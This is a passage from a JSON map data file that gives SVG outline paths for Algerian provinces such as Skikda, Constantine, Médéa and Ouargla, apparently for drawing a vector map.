-3.162 2.329 c 0 0 0.558 0.923 0.558 0.923 c 0 0 -0.385 1.708 -0.385 1.708 c 0 0 1.729 3.064 1.729 3.064 c 0 0 1.062 -0.458 1.062 -0.458 c 0 0 0.449 1.181 0.449 1.181 c 0 0 -0.755 0.531 -0.755 0.531 c 0 0 0.315 0.529 0.315 0.529 c 0 0 2.975 1.226 2.975 1.226 c 0 0 -1.655 2.904 -1.655 2.904 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Saida"},"21":{"path":"M 368.508 30.2198 c 0 0 -0.538 0.351 -0.538 0.351 c 0 0 -0.418 -0.446 -0.418 -0.446 c 0 0 -0.55 1.052 -0.55 1.052 c 0 0 -3.584 1.265 -3.584 1.265 c 0 0 -0.653 0.873 -0.653 0.873 c 0 0 0.42 1.242 0.42 1.242 c 0 0 -2.629 0.698 -2.629 0.698 c 0 0 -0.062 1.543 -0.062 1.543 c 0 0 -1.254 -0.13 -1.254 -0.13 c 0 0 -0.397 -0.7 -0.397 -0.7 c 0 0 -1.124 0.208 -1.124 0.208 c 0 0 0.207 -2.014 0.207 -2.014 c 0 0 0.97 -1.018 0.97 -1.018 c 0 0 -1.8 0.36 -1.8 0.36 c 0 0 -2.274 -0.424 -2.274 -0.424 c 0 0 -0.369 -1.324 -0.369 -1.324 c 0 0 -1.066 1.389 -1.066 1.389 c 0 0 -2.188 -0.147 -2.188 -0.147 c 0 0 -0.967 0.174 -0.967 0.174 c 0 0 -0.254 -1.387 -0.254 -1.387 c 0 0 0.828 -0.194 0.828 -0.194 c 0 0 0.3 -0.783 0.3 -0.783 c 0 0 -2.966 -1.427 -2.966 -1.427 c 0 0 -0.699 -3.309 -0.699 -3.309 c 0 0 -1.635 -0.354 -1.635 -0.354 c 0 0 0.277 -1.183 0.277 -1.183 c 0 0 -0.458 -0.661 -0.458 -0.661 c 0 0 -0.486 -1.046 -0.486 -1.046 c 0 0 0.477 -1.133 0.477 -1.133 c 0 0 1.46 -1.163 1.46 -1.163 c 0 0 2.801 -0.643 2.801 -0.643 c 0 0 1.617 0.827 1.617 0.827 c 0 0 0.77 2.041 0.77 2.041 c 0 0 2.885 0.665 2.885 0.665 c 0 0 0.642 -0.521 0.642 -0.521 c 0 0 0.391 0.479 0.391 0.479 c 0 0 1.646 -0.394 1.646 -0.394 c 0 0 0.779 1.6 0.779 1.6 c 0 0 1.483 0.237 1.483 0.237 c 0 0 2.637 -1.094 2.637 -1.094 c 0 0 1.659 0.04 1.659 0.04 c 0 0 2.043 -1.929 2.043 -1.929 c 0 0 -0.279 -1.044 -0.279 -1.044 c 0 0 -1.836 -1.298 -1.836 -1.298 c 0 0 2.469 0.061 2.469 0.061 c 0 0 0.865 0.703 0.865 0.703 c 0 0 -0.27 0.649 -0.27 0.649 c 0 0 0.934 1.558 0.934 1.558 c 0 0 -0.102 0.528 -0.102 0.528 c 0 0 -0.618 -0.109 -0.618 -0.109 c 0 0 1.345 1.255 1.345 1.255 c 0 0 0.646 3.424 0.646 3.424 c 0 0 -0.074 0.896 -0.074 0.896 c 0 0 -1.197 0.49 -1.197 0.49 c 0 0 0.196 1.267 0.196 1.267 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Skikda"},"22":{"path":"M 204.15 64.0609 c 0 0 -0.642 0.992 -0.642 0.992 c 0 0 0.241 0.965 0.241 0.965 c 0 0 -1.503 0.747 -1.503 0.747 c 0 0 -0.184 -0.672 -0.184 -0.672 c 0 0 -2.838 0.497 -2.838 0.497 c 0 0 -0.066 0.729 -0.066 0.729 c 0 0 -0.969 0.457 -0.969 0.457 c 0 0 -0.813 -0.548 -0.813 -0.548 c 0 0 -0.78 1.395 -0.78 1.395 c 0 0 -0.673 -0.18 -0.673 -0.18 c 0 0 0.286 1.945 0.286 1.945 c 0 0 -1.38 0.462 -1.38 0.462 c 0 0 -0.248 1.449 -0.248 1.449 c 0 0 -0.818 0.477 -0.818 0.477 c 0 0 1.942 1.063 1.942 1.063 c 0 0 -1.313 2.126 -1.313 2.126 c 0 0 0.506 1.828 0.506 1.828 c 0 0 1.191 0.045 1.191 0.045 c 0 0 -0.804 1.135 -0.804 1.135 c 0 0 1.177 -0.239 1.177 -0.239 c 0 0 -0.433 3.193 -0.433 3.193 c 0 0 2.376 -0.271 2.376 -0.271 c 0 0 0.272 1.004 0.272 1.004 c 0 0 -0.496 -0.036 -0.496 -0.036 c 0 0 0.23 0.687 0.23 0.687 c 0 0 -1.285 2.753 -1.285 2.753 c 0 0 -1.609 0.95 -1.609 0.95 c 0 0 0.956 0.198 0.956 0.198 c 0 0 0.362 0.793 0.362 0.793 c 0 0 -6.093 5.633 -6.093 5.633 c 0 0 1.08 1.632 1.08 1.632 c 0 0 2.133 -1.567 2.133 -1.567 c 0 0 0.589 1.018 0.589 1.018 c 0 0 0.342 -0.416 0.342 -0.416 c 0 0 2.966 0.896 2.966 0.896 c 0 0 4.055 -2.511 4.055 -2.511 c 0 0 1.843 1.041 1.843 1.041 c 0 0 3.133 9.769 3.133 9.769 c 0 0 0.314 -1.128 0.314 -1.128 c 0 0 0.854 0.04 0.854 0.04 c 0 0 2.091 -2.885 2.091 -2.885 c 0 0 1.632 -0.712 1.632 -0.712 c 0 0 1.374 0.198 1.374 0.198 c 0 0 1.501 -3.065 1.501 -3.065 c 0 0 0.941 -0.691 0.941 -0.691 c 0 0 -1.231 -5.509 -1.231 -5.509 c 0 0 -1.5 -1.498 -1.5 -1.498 c 0 0 -2.199 1.248 -2.199 1.248 c 0 0 -0.138 -2.153 -0.138 -2.153 c 0 0 -0.979 -1.096 -0.979 -1.096 c 0 0 0.256 -1.511 0.256 -1.511 c 0 0 2.491 1.248 2.491 1.248 c 0 0 0.646 1.884 0.646 1.884 c 0 0 1.12 -1.667 1.12 -1.667 c 0 0 -1.379 -2.84 -1.379 -2.84 c 0 0 -2.113 -1.373 -2.113 -1.373 c 0 0 -0.294 -1.104 -0.294 -1.104 c 0 0 -1.77 -0.163 -1.77 -0.163 c 0 0 0.403 -1.189 0.403 -1.189 c 0 0 -1.328 -0.901 -1.328 -0.901 c 0 0 1.163 -0.801 1.163 -0.801 c 0 0 -0.396 -2.087 -0.396 -2.087 c 0 0 1.813 -0.197 1.813 -0.197 c 0 0 -0.485 -1.763 -0.485 -1.763 c 0 0 0.353 -0.945 0.353 -0.945 c 0 0 1.317 -0.403 1.317 -0.403 c 0 0 -0.804 -2.202 -0.804 -2.202 c 0 0 0.376 -0.966 0.376 -0.966 c 0 0 1.477 -0.712 1.477 -0.712 c 0 0 -0.955 -0.354 -0.955 -0.354 c 0 0 -1.221 1.019 -1.221 1.019 c 0 0 -0.218 -0.549 -0.218 -0.549 c 0 0 1.312 -0.857 1.312 -0.857 c 0 0 0.38 -0.986 0.38 -0.986 c 0 0 -2.728 -0.854 -2.728 -0.854 c 0 0 -0.353 -0.632 -0.353 -0.632 c 0 0 -0.752 0.882 -0.752 0.882 c 0 0 -1.563 -0.12 -1.563 -0.12 c 0 0 0.231 -2.255 0.231 -2.255 c 0 0 -1.589 0.603 -1.589 0.603 c 0 0 -0.783 -0.393 -0.783 -0.393 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Sidi Bel Abbes"},"23":{"path":"M 375.158 30.0759 c 0 0 0.57 -1.447 0.57 -1.447 c 0 0 -0.427 -0.747 -0.427 -0.747 c 0 0 0.969 -1.14 0.969 -1.14 c 0 0 0.939 0.143 0.939 0.143 c 0 0 0.031 -1.328 0.031 -1.328 c 0 0 1.139 -0.009 1.139 -0.009 c 0 0 -0.366 -0.685 -0.366 -0.685 c 0 0 -1.192 -0.868 -1.192 -0.868 c 0 0 0.534 -2.257 0.534 -2.257 c 0 0 -1.771 0.605 -1.771 0.605 c 0 0 -1.04 -0.711 -1.04 -0.711 c 0 0 -0.714 0.503 -0.714 0.503 c 0 0 -2.358 -1.985 -2.358 -1.985 c 0 0 -2.144 0.188 -2.144 0.188 c 0 0 -0.479 -1.129 -0.479 -1.129 c 0 0 -2.073 0.349 -2.073 0.349 c 0 0 0.865 0.705 0.865 0.705 c 0 0 -0.27 0.648 -0.27 0.648 c 0 0 0.934 1.558 0.934 1.558 c 0 0 -0.102 0.529 -0.102 0.529 c 0 0 -0.618 -0.109 -0.618 -0.109 c 0 0 1.345 1.253 1.345 1.253 c 0 0 0.647 3.425 0.647 3.425 c 0 0 -0.075 0.896 -0.075 0.896 c 0 0 -1.196 0.49 -1.196 0.49 c 0 0 0.201 1.266 0.201 1.266 c 0 0 1.15 -0.122 1.15 -0.122 c 0 0 0.438 0.876 0.438 0.876 c 0 0 0.199 -0.74 0.199 -0.74 c 0 0 1.104 -0.509 1.104 -0.509 c 0 0 0.176 1.188 0.176 1.188 c 0 0 2.713 0.503 2.713 0.503 c 0 0 0.871 -1.339 0.871 -1.339 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Annaba"},"24":{"path":"M 375.158 30.0759 c 0 0 0.936 -0.309 0.936 -0.309 c 0 0 0.688 0.501 0.688 0.501 c 0 0 1.188 2.609 1.188 2.609 c 0 0 1.169 -0.383 1.169 -0.383 c 0 0 0.201 0.543 0.201 0.543 c 0 0 -0.047 -0.771 -0.047 -0.771 c 0 0 1.299 0.584 1.299 0.584 c 0 0 0.92 1.851 0.92 1.851 c 0 0 -1.832 1.544 -1.832 1.544 c 0 0 -1.021 -0.411 -1.021 -0.411 c 0 0 -0.195 1.316 -0.195 1.316 c 0 0 1.08 1.383 1.08 1.383 c 0 0 -0.374 0.437 -0.374 0.437 c 0 0 -2.218 0.173 -2.218 0.173 c 0 0 -2.16 2.08 -2.16 2.08 c 0 0 -1.194 -0.271 -1.194 -0.271 c 0 0 -2.52 0.934 -2.52 0.934 c 0 0 -2.854 -0.539 -2.854 -0.539 c 0 0 -0.494 1.348 -0.494 1.348 c 0 0 0.75 0.918 0.75 0.918 c 0 0 -1.257 0.076 -1.257 0.076 c 0 0 -0.683 1.774 -0.683 1.774 c 0 0 -2.784 1.371 -2.784 1.371 c 0 0 -0.998 -0.165 -0.998 -0.165 c 0 0 0.196 -0.958 0.196 -0.958 c 0 0 -1.267 -0.551 -1.267 -0.551 c 0 0 0.201 -1.256 0.201 -1.256 c 0 0 -0.077 -0.57 -0.077 -0.57 c 0 0 0.855 -0.474 0.855 -0.474 c 0 0 0.104 -1.688 0.104 -1.688 c 0 0 -0.561 -1.442 -0.561 -1.442 c 0 0 -1.225 -0.221 -1.225 -0.221 c 0 0 0.6 -0.717 0.6 -0.717 c 0 0 -1.052 -0.557 -1.052 -0.557 c 0 0 0.532 -0.551 0.532 -0.551 c 0 0 -0.572 -0.892 -0.572 -0.892 c 0 0 0.062 -1.543 0.062 -1.543 c 0 0 2.629 -0.698 2.629 -0.698 c 0 0 -0.42 -1.242 -0.42 -1.242 c 0 0 0.653 -0.873 0.653 -0.873 c 0 0 3.583 -1.265 3.583 -1.265 c 0 0 0.55 -1.052 0.55 -1.052 c 0 0 0.419 0.446 0.419 0.446 c 0 0 0.538 -0.351 0.538 -0.351 c 0 0 1.15 -0.122 1.15 -0.122 c 0 0 0.438 0.876 0.438 0.876 c 0 0 0.199 -0.741 0.199 -0.741 c 0 0 1.104 -0.509 1.104 -0.509 c 0 0 0.176 1.188 0.176 1.188 c 0 0 2.713 0.503 2.713 0.503 c 0 0 0.872 -1.333 0.872 -1.333 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Guelma"},"25":{"path":"M 361.888 43.9039 c 0 0 -0.077 -0.57 -0.077 -0.57 c 0 0 0.855 -0.474 0.855 -0.474 c 0 0 0.104 -1.688 0.104 -1.688 c 0 0 -0.561 -1.442 -0.561 -1.442 c 0 0 -1.224 -0.221 -1.224 -0.221 c 0 0 0.599 -0.717 0.599 -0.717 c 0 0 -1.052 -0.557 -1.052 -0.557 c 0 0 0.532 -0.551 0.532 -0.551 c 0 0 -0.572 -0.892 -0.572 -0.892 c 0 0 -1.253 -0.13 -1.253 -0.13 c 0 0 -0.398 -0.7 -0.398 -0.7 c 0 0 -1.124 0.208 -1.124 0.208 c 0 0 0.207 -2.014 0.207 -2.014 c 0 0 0.969 -1.018 0.969 -1.018 c 0 0 -1.799 0.36 -1.799 0.36 c 0 0 -2.274 -0.424 -2.274 -0.424 c 0 0 -0.368 -1.324 -0.368 -1.324 c 0 0 -1.067 1.389 -1.067 1.389 c 0 0 -2.188 -0.147 -2.188 -0.147 c 0 0 -0.02 1.6 -0.02 1.6 c 0 0 -3.298 0.766 -3.298 0.766 c 0 0 0.284 2.021 0.284 2.021 c 0 0 -0.922 1.877 -0.922 1.877 c 0 0 1.319 -0.403 1.319 -0.403 c 0 0 1.126 0.879 1.126 0.879 c 0 0 -0.265 1.487 -0.265 1.487 c 0 0 0.788 0.495 0.788 0.495 c 0 0 1.019 -0.295 1.019 -0.295 c 0 0 0.938 0.805 0.938 0.805 c 0 0 -0.108 1.354 -0.108 1.354 c 0 0 -0.381 0.438 -0.381 0.438 c 0 0 0.595 1.159 0.595 1.159 c 0 0 1.01 0.369 1.01 0.369 c 0 0 -0.464 -0.804 -0.464 -0.804 c 0 0 1.122 0.604 1.122 0.604 c 0 0 0.375 -1.069 0.375 -1.069 c 0 0 2.243 -0.159 2.243 -0.159 c 0 0 0.263 -1.444 0.263 -1.444 c 0 0 1.446 1.166 1.446 1.166 c 0 0 3.621 0.066 3.621 0.066 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Constantine"},"26":{"path":"M 291.189 51.9288 c 0 0 0.272 0.795 0.272 0.795 c 0 0 -1.143 0.688 -1.143 0.688 c 0 0 0.551 0.367 0.551 0.367 c 0 0 -2.021 0.685 -2.021 0.685 c 0 0 0.86 1.28 0.86 1.28 c 0 0 0.034 2.966 0.034 2.966 c 0 0 -2.708 -4.154 -2.708 -4.154 c 0 0 -0.896 0.141 -0.896 0.141 c 0 0 0.406 0.771 0.406 0.771 c 0 0 -0.488 0.495 -0.488 0.495 c 0 0 -1.09 0.049 -1.09 0.049 c 0 0 -0.854 -1.716 -0.854 -1.716 c 0 0 -1.031 1.021 -1.031 1.021 c 0 0 0.104 1.206 0.104 1.206 c 0 0 -0.753 1.37 -0.753 1.37 c 0 0 -2.786 0.7 -2.786 0.7 c 0 0 -0.185 -2.199 -0.185 -2.199 c 0 0 -0.699 0.144 -0.699 0.144 c 0 0 -0.693 -2.337 -0.693 -2.337 c 0 0 -2.585 0.707 -2.585 0.707 c 0 0 0.677 5.005 0.677 5.005 c 0 0 -0.578 -0.259 -0.578 -0.259 c 0 0 -1.83 1.359 -1.83 1.359 c 0 0 -1.605 2.564 -1.605 2.564 c 0 0 -1.292 0.661 -1.292 0.661 c 0 0 -2.698 -1.908 -2.698 -1.908 c 0 0 -0.229 0.56 -0.229 0.56 c 0 0 -2.476 0.813 -2.476 0.813 c 0 0 -2.139 0.167 -2.139 0.167 c 0 0 -0.658 -2.362 -0.658 -2.362 c 0 0 0.71 -1.968 0.71 -1.968 c 0 0 -2.811 -0.738 -2.811 -0.738 c 0 0 -0.347 -1.359 -0.347 -1.359 c 0 0 0.503 -0.62 0.503 -0.62 c 0 0 2.227 0.229 2.227 0.229 c 0 0 0.902 -3.906 0.902 -3.906 c 0 0 1.051 -1.104 1.051 -1.104 c 0 0 -0.339 -0.876 -0.339 -0.876 c 0 0 1.986 0.073 1.986 0.073 c 0 0 0.315 -2.775 0.315 -2.775 c 0 0 0.86 0.234 0.86 0.234 c 0 0 1.842 -1.11 1.842 -1.11 c 0 0 0.062 -1.843 0.062 -1.843 c 0 0 -1.344 -0.306 -1.344 -0.306 c 0 0 -0.085 -1.369 -0.085 -1.369 c 0 0 -0.709 -0.199 -0.709 -0.199 c 0 0 0.625 -1.909 0.625 -1.909 c 0 0 1.348 0.043 1.348 0.043 c 0 0 0.756 -0.614 0.756 -0.614 c 0 0 1.51 -1.087 1.51 -1.087 c 0 0 2.893 0.205 2.893 0.205 c 0 0 1.568 -1.178 1.568 -1.178 c 0 0 0.67 1.507 0.67 1.507 c 0 0 1.481 0.008 1.481 0.008 c 0 0 0.867 -0.967 0.867 -0.967 c 0 0 -0.189 -1.356 -0.189 -1.356 c 0 0 0.474 0.956 0.474 0.956 c 0 0 0.732 -0.598 0.732 -0.598 c 0 0 0.692 0.698 0.692 0.698 c 0 0 1.158 -1.154 1.158 -1.154 c 0 0 0.084 -1.381 0.084 -1.381 c 0 0 1.63 0.271 1.63 0.271 c 0 0 0.479 -0.537 0.479 -0.537 c 0 0 2.722 2.629 2.722 2.629 c 0 0 1.562 -1.479 1.562 -1.479 c 0 0 1.356 0.703 1.356 0.703 c 0 0 -0.439 0.687 -0.439 0.687 c 0 0 0.998 1.392 0.998 1.392 c 0 0 -1.071 0.599 -1.071 0.599 c 0 0 -0.441 1.267 -0.441 1.267 c 0 0 1.069 0.979 1.069 0.979 c 0 0 -0.181 0.809 -0.181 0.809 c 0 0 -1.426 0.414 -1.426 0.414 c 0 0 -0.229 0.854 -0.229 0.854 c 0 0 0.656 1.042 0.656 1.042 c 0 0 -0.409 0.485 -0.409 0.485 c 0 0 -0.898 0.936 -0.898 0.936 c 0 0 -1.014 -0.016 -1.014 -0.016 c 0 0 0.479 0.781 0.479 0.781 c 0 0 2.788 0.434 2.788 0.434 c 0 0 1.41 2.635 1.41 2.635 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Médéa"},"27":{"path":"M 212.85 55.2648 c 0 0 2.964 -1.85 2.964 -1.85 c 0 0 2.338 -4.67 2.338 -4.67 c 0 0 1.846 -1.942 1.846 -1.942 c 0 0 9.188 -5.395 9.188 -5.395 c 0 0 1.74 -0.06 1.74 -0.06 c 0 0 -1.001 3.283 -1.001 3.283 c 0 0 -1.979 2.472 -1.979 2.472 c 0 0 1.289 1.351 1.289 1.351 c 0 0 -0.634 0.698 -0.634 0.698 c 0 0 0.359 0.87 0.359 0.87 c 0 0 -2.126 0.093 -2.126 0.093 c 0 0 -0.555 0.604 -0.555 0.604 c 0 0 -1.226 -0.57 -1.226 -0.57 c 0 0 -0.846 1.017 -0.846 1.017 c 0 0 0.313 0.769 0.313 0.769 c 0 0 0.674 -0.036 0.674 -0.036 c 0 0 -0.59 0.992 -0.59 0.992 c 0 0 0.229 0.908 0.229 0.908 c 0 0 -1.332 1.438 -1.332 1.438 c 0 0 -0.877 -0.373 -0.877 -0.373 c 0 0 -0.867 0.539 -0.867 0.539 c 0 0 -1.744 2.073 -1.744 2.073 c 0 0 -0.903 -0.138 -0.903 -0.138 c 0 0 -0.604 0.964 -0.604 0.964 c 0 0 -0.03 -0.763 -0.03 -0.763 c 0 0 -1.07 0.18 -1.07 0.18 c 0 0 -1.028 -1.427 -1.028 -1.427 c 0 0 -2.252 0.6 -2.252 0.6 c 0 0 -1.276 -1.627 -1.276 -1.627 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Mostaganem"},"28":{"path":"M 320.989 54.6068 c 0 0 -0.17 0.627 -0.17 0.627 c 0 0 1.475 1.042 1.475 1.042 c 0 0 1.106 -0.24 1.106 -0.24 c 0 0 0.486 0.518 0.486 0.518 c 0 0 -0.417 0.537 -0.417 0.537 c 0 0 0.547 0.807 0.547 0.807 c 0 0 3.493 0.469 3.493 0.469 c 0 0 -2.661 2.962 -2.661 2.962 c 0 0 -1.817 0.906 -1.817 0.906 c 0 0 -0.722 -1.068 -0.722 -1.068 c 0 0 -1.062 -0.011 -1.062 -0.011 c 0 0 -0.828 0.921 -0.828 0.921 c 0 0 -0.074 -0.787 -0.074 -0.787 c 0 0 -0.96 1.506 -0.96 1.506 c 0 0 -1.945 -1.698 -1.945 -1.698 c 0 0 0.823 4.4 0.823 4.4 c 0 0 -0.379 2.546 -0.379 2.546 c 0 0 -0.916 1.548 -0.916 1.548 c 0 0 -0.524 -0.186 -0.524 -0.186 c 0 0 -1.187 1.172 -1.187 1.172 c 0 0 0.194 0.606 0.194 0.606 c 0 0 2.929 0.06 2.929 0.06 c 0 0 2.125 1.396 2.125 1.396 c 0 0 0.447 3.492 0.447 3.492 c 0 0 0.547 0.305 0.547 0.305 c 0 0 -0.538 0.065 -0.538 0.065 c 0 0 -0.683 1.586 -0.683 1.586 c 0 0 -5.438 1.63 -5.438 1.63 c 0 0 -0.942 1.502 -0.942 1.502 c 0 0 -1.001 0.173 -1.001 0.173 c 0 0 1.298 1.086 1.298 1.086 c 0 0 -1.021 0.547 -1.021 0.547 c 0 0 -0.657 -0.445 -0.657 -0.445 c 0 0 -1.832 1.14 -1.832 1.14 c 0 0 -4.806 0.046 -4.806 0.046 c 0 0 -0.876 1.823 -0.876 1.823 c 0 0 -2.191 1.835 -2.191 1.835 c 0 0 0.521 0.302 0.521 0.302 c 0 0 0.417 3.083 0.417 3.083 c 0 0 1.218 1.271 1.218 1.271 c 0 0 -0.307 0.725 -0.307 0.725 c 0 0 1.813 0.933 1.813 0.933 c 0 0 -0.773 1.007 -0.773 1.007 c 0 0 -1.99 0.525 -1.99 0.525 c 0 0 -4.303 -3.585 -4.303 -3.585 c 0 0 0.313 -2.084 0.313 -2.084 c 0 0 -1.836 -1.982 -1.836 -1.982 c 0 0 0.299 -2.042 0.299 -2.042 c 0 0 -0.719 -4.248 -0.719 -4.248 c 0 0 -3.906 -0.975 -3.906 -0.975 c 0 0 -1.411 0.479 -1.411 0.479 c 0 0 -0.14 -1.65 -0.14 -1.65 c 0 0 -1.402 -0.322 -1.402 -0.322 c 0 0 0.209 -2.972 0.209 -2.972 c 0 0 -0.698 -0.953 -0.698 -0.953 c 0 0 0.551 -0.068 0.551 -0.068 c 0 0 0.504 -1.539 0.504 -1.539 c 0 0 -1.839 0.736 -1.839 0.736 c 0 0 -1.138 -3.13 -1.138 -3.13 c 0 0 4.282 -3.606 4.282 -3.606 c 0 0 -0.425 -1.94 -0.425 -1.94 c 0 0 0.865 -0.633 0.865 -0.633 c 0 0 0.075 -1.772 0.075 -1.772 c 0 0 -4.719 -3.806 -4.719 -3.806 c 0 0 -1.903 -1.953 -1.903 -1.953 c 0 0 -0.313 -1.258 -0.313 -1.258 c 0 0 0.489 -0.494 0.489 -0.494 c 0 0 -0.405 -0.771 -0.405 -0.771 c 0 0 0.895 -0.14 0.895 -0.14 c 0 0 2.709 4.154 2.709 4.154 c 0 0 -0.037 -2.966 -0.037 -2.966 c 0 0 -0.859 -1.281 -0.859 -1.281 c 0 0 2.022 -0.685 2.022 -0.685 c 0 0 -0.551 -0.367 -0.551 -0.367 c 0 0 1.144 -0.686 1.144 -0.686 c 0 0 -0.274 -0.796 -0.274 -0.796 c 0 0 0.533 -0.809 0.533 -0.809 c 0 0 1.537 0.153 1.537 0.153 c 0 0 0.654 0.924 0.654 0.924 c 0 0 1.07 0.224 1.07 0.224 c 0 0 0.352 1.004 0.352 1.004 c 0 0 0.802 0.048 0.802 0.048 c 0 0 1.271 -1.214 1.271 -1.214 c 0 0 2.542 0.89 2.542 0.89 c 0 0 -0.444 -1.385 -0.444 -1.385 c 0 0 1.058 -3.265 1.058 -3.265 c 0 0 0.57 1.104 0.57 1.104 c 0 0 2.211 -0.769 2.211 -0.769 c 0 0 2.755 0.986 2.755 0.986 c 0 0 3.391 -1.461 3.391 -1.461 c 0 0 0.865 2.774 0.865 2.774 c 0 0 -1.615 0.625 -1.615 0.625 c 0 0 -0.69 2.095 -0.69 2.095 c 0 0 2.823 0.292 2.823 0.292 c 0 0 -0.36 -0.99 -0.36 -0.99 c 0 0 1.328 -0.64 1.328 -0.64 c 0 0 -0.386 1.092 -0.386 1.092 c 0 0 0.663 0.766 0.663 0.766 c 0 0 2.07 -1.562 2.07 -1.562 c 0 0 2.721 -0.533 2.721 -0.533 c 0 0 1.33 1.67 1.33 1.67 c 0 0 1.165 -0.05 1.165 -0.05 c 0 0 0.184 1.218 0.184 1.218 c 0 0 1.399 -0.516 1.399 -0.516 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"M'Sila"},"29":{"path":"M 220.012 57.4758 c 0 0 0.578 0.193 0.578 0.193 c 0 0 1.217 3.61 1.217 3.61 c 0 0 1.717 -0.492 1.717 -0.492 c 0 0 0.125 0.523 0.125 0.523 c 0 0 0.858 -0.611 0.858 -0.611 c 0 0 1.282 1.803 1.282 1.803 c 0 0 1.891 -0.041 1.891 -0.041 c 0 0 0.918 0.917 0.918 0.917 c 0 0 1.721 -0.085 1.721 -0.085 c 0 0 0.296 0.662 0.296 0.662 c 0 0 2.047 0.317 2.047 0.317 c 0 0 1.49 1.555 1.49 1.555 c 0 0 -0.688 0.28 -0.688 0.28 c 0 0 -0.874 2.105 -0.874 2.105 c 0 0 -1.111 0.353 -1.111 0.353 c 0 0 -1.521 -0.788 -1.521 -0.788 c 0 0 -1.084 0.159 -1.084 0.159 c 0 0 -1.175 1.41 -1.175 1.41 c 0 0 0.246 0.949 0.246 0.949 c 0 0 -1.553 1.1 -1.553 1.1 c 0 0 -1.071 1.771 -1.071 1.771 c 0 0 -1.54 1.518 -1.54 1.518 c 0 0 -0.999 -0.12 -0.999 -0.12 c 0 0 -0.773 -0.89 -0.773 -0.89 c 0 0 -2.493 1.648 -2.493 1.648 c 0 0 -1.011 -0.662 -1.011 -0.662 c 0 0 -0.205 -0.907 -0.205 -0.907 c 0 0 -1.081 0.098 -1.081 0.098 c 0 0 -1.301 -0.867 -1.301 -0.867 c 0 0 -2.583 0.188 -2.583 0.188 c 0 0 -0.345 -1.976 -0.345 -1.976 c 0 0 -0.665 1.238 -0.665 1.238 c 0 0 -0.982 -0.007 -0.982 -0.007 c 0 0 -0.804 -2.203 -0.804 -2.203 c 0 0 0.376 -0.965 0.376 -0.965 c 0 0 1.477 -0.712 1.477 -0.712 c 0 0 -0.955 -0.354 -0.955 -0.354 c 0 0 -1.222 1.019 -1.222 1.019 c 0 0 -0.217 -0.549 -0.217 -0.549 c 0 0 1.312 -0.856 1.312 -0.856 c 0 0 0.38 -0.987 0.38 -0.987 c 0 0 -2.728 -0.854 -2.728 -0.854 c 0 0 -0.352 -0.632 -0.352 -0.632 c 0 0 -0.753 0.882 -0.753 0.882 c 0 0 -1.563 -0.12 -1.563 -0.12 c 0 0 0.231 -2.254 0.231 -2.254 c 0 0 -1.59 0.602 -1.59 0.602 c 0 0 -0.786 -0.382 -0.786 -0.382 c 0 0 0.318 -0.749 0.318 -0.749 c 0 0 1.029 -0.085 1.029 -0.085 c 0 0 -0.37 -0.949 -0.37 -0.949 c 0 0 1.582 -0.382 1.582 -0.382 c 0 0 0.264 -1.739 0.264 -1.739 c 0 0 2.625 -2.104 2.625 -2.104 c 0 0 -0.667 -0.006 -0.667 -0.006 c 0 0 0.89 -1.532 0.89 -1.532 c 0 0 1.433 1.089 1.433 1.089 c 0 0 1.581 -2.289 1.581 -2.289 c 0 0 1.287 1.577 1.287 1.577 c 0 0 2.252 -0.6 2.252 -0.6 c 0 0 1.029 1.428 1.029 1.428 c 0 0 1.069 -0.181 1.069 -0.181 c 0 0 0.03 0.763 0.03 0.763 c 0 0 0.605 -0.963 0.605 -0.963 c 0 0 0.906 0.136 0.906 0.136 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Mascara"},"30":{"path":"M 327.951 114.981 c 0 0 -0.91 1.857 -0.91 1.857 c 0 0 -3.919 -3.5 -3.919 -3.5 c 0 0 -2.42 5.13 -2.42 5.13 c 0 0 2.209 11.443 2.209 11.443 c 0 0 -5.039 9.304 -5.039 9.304 c 0 0 -6.763 7.312 -6.763 7.312 c 0 0 -0.766 17.01 -0.766 17.01 c 0 0 -3.171 8.157 -3.171 8.157 c 0 0 -10.495 36.704 -10.495 36.704 c 0 0 -1.579 1.093 -1.579 1.093 c 0 0 -6.763 14.091 -6.763 14.091 c 0 0 -8.226 3.631 -8.226 3.631 c 0 0 17.526 14.179 17.526 14.179 c 0 0 -0.146 0.413 -0.146 0.413 c 0 0 43.124 -33.261 43.124 -33.261 c 0 0 15.876 -8.912 15.876 -8.912 c 0 0 2.795 0.889 2.795 0.889 c 0 0 63.493 -16.461 63.493 -16.461 c 0 0 -11.392 -38.443 -11.392 -38.443 c 0 0 -39.729 4.259 -39.729 4.259 c 0 0 -5.501 -6.366 -5.501 -6.366 c 0 0 -7.777 -11.58 -7.777 -11.58 c 0 0 -8.097 -22.969 -8.097 -22.969 c 0 0 -1.219 -7.663 -1.219 -7.663 c 0 0 -0.319 0.807 -0.319 0.807 c 0 0 -0.521 -1.04 -0.521 -1.04 c 0 0 -0.762 0.111 -0.762 0.111 c 0 0 -2.721 2.136 -2.721 2.136 c 0 0 -0.552 -1.05 -0.552 -1.05 c 0 0 -0.665 0.606 -0.665 0.606 c 0 0 -0.047 1.4 -0.047 1.4 c 0 0 1.138 2.602 1.138 2.602 c 0 0 0.039 2.557 0.039 2.557 c 0 0 -0.953 1.07 -0.953 1.07 c 0 0 1.171 1.467 1.171 1.467 c 0 0 0.374 2.7 0.374 2.7 c 0 0 -17.293 0.317 -17.293 0.317 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Ouargla"},"31":{"path":"M 204.15 64.0609 c 0 0 0.319 -0.749 0.319 -0.749 c 0 0 1.029 -0.085 1.029 -0.085 c 0 0 -0.37 -0.95 -0.37 -0.95 c 0 0 1.582 -0.381 1.582 -0.381 c 0 0 0.264 -1.74 0.264 -1.74 c 0 0 2.625 -2.104 2.625 -2.104 c 0 0 -0.667 -0.006 -0.667 -0.006 c 0 0 0.89 -1.532 0.89 -1.532 c 0 0 1.433 1.09 1.433 1.09 c 0 0 1.597 -2.34 1.597 -2.34 c 0 0 -3.432 -0.925 -3.432 -0.925 c 0 0 -0.636 -0.732 -0.636 -0.732 c 0 0 0.279 -0.764 0.279 -0.764 c 0 0 -0.896 -0.845 -0.896 